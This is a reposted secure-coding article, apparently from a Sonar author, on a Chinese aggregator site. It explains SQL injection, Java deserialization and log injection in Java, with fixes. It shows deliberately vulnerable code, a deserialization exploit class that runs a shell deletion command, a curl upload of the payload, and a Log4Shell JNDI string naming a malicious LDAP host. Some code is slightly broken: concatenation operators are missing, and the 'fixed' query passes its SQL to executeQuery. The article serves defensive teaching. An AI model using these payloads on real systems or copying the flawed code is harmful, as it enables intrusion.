」工欲善其事,必先利其器。「—孔子《論語.錄靈公》
首頁 > 程式設計 > 目前隱藏在程式碼中的主要安全缺陷 - 以及如何修復它們

目前隱藏在程式碼中的主要安全缺陷 - 以及如何修復它們

發佈於2024-10-31
瀏覽:985

In 2019, a famous breach in Fortnite, the famous game, reportedly put millions of players at risk of malware. The incident highlighted the importance of properly securing SQL databases.

But this is not an isolated issue.

Multiple attacks involving SQL injection have occurred, like the one Tesla experienced in 2018. In that case, another SQL injection attack affected Tesla’s Kubernetes console, causing financial losses due to unauthorized crypto mining activities.

But this is not only about SQL Injection.

There are other attack vectors that your code can suffer right now, as big companies have suffered in the past.

As the one in 2021 in the Log4J library called Log4Shell that involved a logging injection attack that impacted millions of servers worldwide up to today, or the one in 2022 in Atlassian Jira that involved a deserialization attack impacting multiple versions of Jira conceding full control to the attacker.

It could happen to anyone, even to you.

In this article, I’ll discuss the 3 most common attacks in code: SQL injection, Deserialization Injection, and Logging Injection, and how to solve them.

SQL Injection

Applications that store information in databases often use user-generated values to check for permissions, store information, or simply retrieve data stored in tables, documents, points, nodes, etc.

At that moment, when our application is using those values, improper use could allow attackers to introduce extra queries sent to the database to retrieve unallowable values or even modify those tables to gain access.

The following code retrieves a user from the database considering the username provided in the login page. Everything seems to be fine.

Top Security Flaws hiding in your code right now - and how to fix them

public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users "  
                   "WHERE username='"   user   "' AND password='"   pass   "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List users = new ArrayList();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }

However, when the attacker uses injection techniques, this code, using string interpolation, will result in unexpected results, allowing the attacker to log into the application.

Top Security Flaws hiding in your code right now - and how to fix them

To fix this problem we would change this approach from using string concatenation to parameter injection. In fact, String concatenation is generally a bad idea, in terms of performance and security.

String query = "SELECT userid FROM users "  
               "WHERE username='"   user   "' AND password='"   pass   "'";

Changing the inclusion of the parameter values directly in the SQL String, to parameters that we can reference later will solve the problem of hacked queries.

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";

Our fixed code will look like this, with the prepareStatement and the value setting for each parameter.

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }

The SonarQube and SonarCloud rules that help detect the SQL injection vulnerability can be found here

Deserialization injection

Deserialization is the process of converting data from a serialized format (like a byte stream, string, or file) back into an object or data structure that a program can work with.

Common usages of deserialization include data sent between APIs and Web services in the form of JSON structures, or in modern applications using RPC (Remote Procedure Calls) in the form of protobuf messages.

Converting the message payload into an Object can involve serious vulnerabilities if no sanitizing or checking steps are implemented.

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }

We can see here that we are using objectIS, a direct value coming from the user in the request input stream, and converting it to a new object.
We expect that the value will always be one of the classes that our application uses. Sure, our client would never send anything else, right? Would they?

But what if a malicious client is sending another class in the request?

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }

In this case, we have a class that deletes a file during the default constructor, which will happen on the previous readObject call.

The attacker only needs to serialize this class and send it to the API :

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user

Fortunately, there’s an easy way to fix this. We need to check if the class to be deserialized is from one of the allowed types before creating the object.

In the code above, we have created a new ObjectInputStream with the “resolveClass” method overridden containing a check on the class name. We use this new class, SecureObjectInputStream, to get the object stream. But we include an allowed list check before reading the stream into an object (User).

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }

The SonarCloud/SonarQube and SonarLint rules that help detect the deserialization injection vulnerability can be found here

Logging injection

A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.

Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.

But, they can also become an attack vector.

Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.

We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.

Let’s consider the following code, where we take a value from the user and log it.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }

It looks harmless, right?

But what if the attacker tries to log in with this user?

 john login in\n2024-08-19 12:34:56 INFO User 'admin' login in

Top Security Flaws hiding in your code right now - and how to fix them

It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in 

Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.

    $ { jndi:ldap://malicious-server.com/a}

But we can prevent these issues easily.

Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }

The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in 

In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.

     -Dlog4j2.formatMsgNoLookups=true

If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup "   providerUrl   " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}

And configure our system to use the filtering context factory.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here

Conclusion

Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.

From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.

By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.

Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.

Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.

版本聲明 本文轉載於:https://dev.to/jonathanvila/top-security-flaws-hiding-in-your-code-right-now-and-how-to-fix-them-3id6?1如有侵犯,請聯絡[email protected]刪除
最新教學 更多>
  • VLONE Clothing:重新定義都市時尚的街頭服飾品牌
    VLONE Clothing:重新定義都市時尚的街頭服飾品牌
    VLONE 是少数几个在快速变化的市场中取得超越街头服饰行业所能想象的成就的品牌之一。 VLONE 由 A$AP Mob 集体的电影制片人之一 A$AP Bari 创立,现已发展成为一个小众项目,有时甚至成为都市时尚界的国际知名品牌。 VLONE 凭借大胆的图案、深厚的文化联系和限量版发售,在时尚界...
    程式設計 發佈於2024-11-07
  • 如何使用PDO查詢單行中的單列?
    如何使用PDO查詢單行中的單列?
    使用 PDO 查詢單行中的單列處理針對單行中特定列的 SQL 查詢時,通常需要檢索直接取值,無需循環。要使用 PDO 完成此操作,fetchColumn() 方法就派上用場了。 fetchColumn() 的語法為:$col_value = $stmt->fetchColumn([column...
    程式設計 發佈於2024-11-07
  • 我如何建立 PeerSplit:一個免費的點對點費用分攤應用程式 — 從構思到發布僅需數週時間
    我如何建立 PeerSplit:一個免費的點對點費用分攤應用程式 — 從構思到發布僅需數週時間
    我构建了 PeerSplit——一个免费的、点对点的 Splitwise 替代品——从想法到发布仅用了两周时间! PeerSplit 是一款本地优先的应用程序,用于分配团体费用。它可以离线工作,100% 免费且私密,不需要注册或任何个人数据。 以下是我如何构建它以及我在此过程中学到的一切。 ...
    程式設計 發佈於2024-11-07
  • 如何在 PHP 中解析子網域的根網域?
    如何在 PHP 中解析子網域的根網域?
    在 PHP 中從子域解析網域名稱在 PHP 中,從子域中提取根網域是一項常見任務。當您需要識別與子網域關聯的主網站時,這非常有用。為了實現這一目標,讓我們探索一個解決方案。 提供的程式碼片段利用 parse_url 函數將 URL 分解為其元件,包括網域名稱。隨後,它使用正規表示式來隔離根域,而忽略...
    程式設計 發佈於2024-11-07
  • 使用 Socket.io 建立即時應用程式
    使用 Socket.io 建立即時應用程式
    介紹 Socket.io 是一個 JavaScript 函式庫,可讓 Web 用戶端和伺服器之間進行即時通訊。它支援創建互動式動態應用程序,例如聊天室、多人遊戲和直播。憑藉其易於使用的 API 和跨平台相容性,Socket.io 已成為建立即時應用程式的熱門選擇。在本文中,我們將探...
    程式設計 發佈於2024-11-07
  • 重寫 `hashCode()` 和 `equals()` 如何影響 HashMap 效能?
    重寫 `hashCode()` 和 `equals()` 如何影響 HashMap 效能?
    了解equals 和hashCode 在HashMap 中的工作原理Java 中的HashMap 使用hashCode() 和equals() 方法的組合來有效地儲存和檢索鍵值對。當新增新的鍵值對時,首先計算鍵的hashCode()方法,以確定該條目將放置在哪個雜湊桶中。然後使用 equals() ...
    程式設計 發佈於2024-11-07
  • 使用 Google Apps 腳本和 Leaflet.js 建立互動式 XY 圖像圖
    使用 Google Apps 腳本和 Leaflet.js 建立互動式 XY 圖像圖
    Google Maps has a ton of features for plotting points on a map, but what if you want to plot points on an image? These XY Image Plot maps are commonly...
    程式設計 發佈於2024-11-07
  • 理解 React 中的狀態變數:原因和方法
    理解 React 中的狀態變數:原因和方法
    在深入研究狀態變數之前,讓我們先來分析一下 React 元件的工作原理吧! 什麼是 React 元件? 在 React 中,元件是一段可重複使用的程式碼,代表使用者介面 (UI) 的一部分。它可以像 HTML 按鈕一樣簡單,也可以像完整的頁面一樣複雜。 React...
    程式設計 發佈於2024-11-07
  • Miva 的日子:第 4 天
    Miva 的日子:第 4 天
    這是 100 天 Miva 編碼挑戰的第四天。我跳過了第三天的報告,因為我被困在我的網頁設計專案中,需要改變節奏。這就是為什麼我今天決定深入研究 JavaScript。 JavaScript JavaScript 就像是系統和網站的行為元件。它為網站增加了互動性和回應能力,使其成為網頁設計和開發...
    程式設計 發佈於2024-11-07
  • TailGrids React:+ Tailwind CSS React UI 元件
    TailGrids React:+ Tailwind CSS React UI 元件
    我們很高興推出 TailGrids React,這是您的新首選工具包,可用於輕鬆建立令人驚嘆的響應式 Web 介面。 TailGrids React 提供了超過 600 免費和高級 React UI 元件、區塊、部分和模板的大量集合 - 所有這些都是用 Tailwind CSS 精心製作的。 無論...
    程式設計 發佈於2024-11-07
  • 如何用列表值反轉字典?
    如何用列表值反轉字典?
    使用列表值反轉字典:解決方案在本文中,我們探討了使用列表值反轉字典的挑戰。給定一個索引字典,其中鍵是檔案名,值是這些檔案中出現的單字列表,我們的目標是建立一個倒排字典,其中單字是鍵,值是檔案名稱列表。 提供的反轉函數 invert_dict,不適用於以列表值作為鍵的字典,因為它會失敗並顯示“Type...
    程式設計 發佈於2024-11-07
  • 現代 Web 開發框架:比較流行的框架及其用例
    現代 Web 開發框架:比較流行的框架及其用例
    在快速發展的 Web 開發領域,選擇正確的框架可以顯著影響專案的成功。本文深入研究了一些最受歡迎的 Web 開發框架,比較了它們的優勢和理想用例,以幫助開發人員做出明智的決策。 反應 概述 React 由 Facebook 開發和維護,是一個用於建立使用者介面的 J...
    程式設計 發佈於2024-11-07
  • 如何在 Go 1.18 中安全地使用泛型類型解組 JSON?
    如何在 Go 1.18 中安全地使用泛型類型解組 JSON?
    Unmarshal 中的泛型使用(Go 1.18)在Go 1.18 中使用泛型時,例如創建一個容器來保存各種報告類型,可能會出現類型限制。考慮以下設定:由結構表示的多種報告類型具有通用類型參數的ReportContainer 包裝器可報告,約束為實作可報告介面鑑別器ReportType 在解組過程中...
    程式設計 發佈於2024-11-07
  • 了解 Effect-TS 中的選項排序
    了解 Effect-TS 中的選項排序
    範例 1:使用 O.andThen 忽略第一個值 概念 O.andThen 函數可讓您執行兩個選項的序列,其中結果僅由第二個選項決定。當第一個選項達到目的,但後續操作中不需要它的值時,這很有用。 程式碼 function sequencing_ex...
    程式設計 發佈於2024-11-07
  • React 初學者指南:基礎知識入門
    React 初學者指南:基礎知識入門
    React 已成为现代 Web 开发的基石,以其高效、灵活性和强大的生态系统而闻名。 React 由 Facebook 开发,允许开发人员创建可重用的 UI 组件,从而简化了构建交互式用户界面的过程。 无论您是想构建复杂的单页应用程序还是只是想提高您的 Web 开发技能,掌握 React 都是一笔...
    程式設計 發佈於2024-11-07

免責聲明: 提供的所有資源部分來自互聯網,如果有侵犯您的版權或其他權益,請說明詳細緣由並提供版權或權益證明然後發到郵箱:[email protected] 我們會在第一時間內為您處理。

Copyright© 2022 湘ICP备2022001581号-3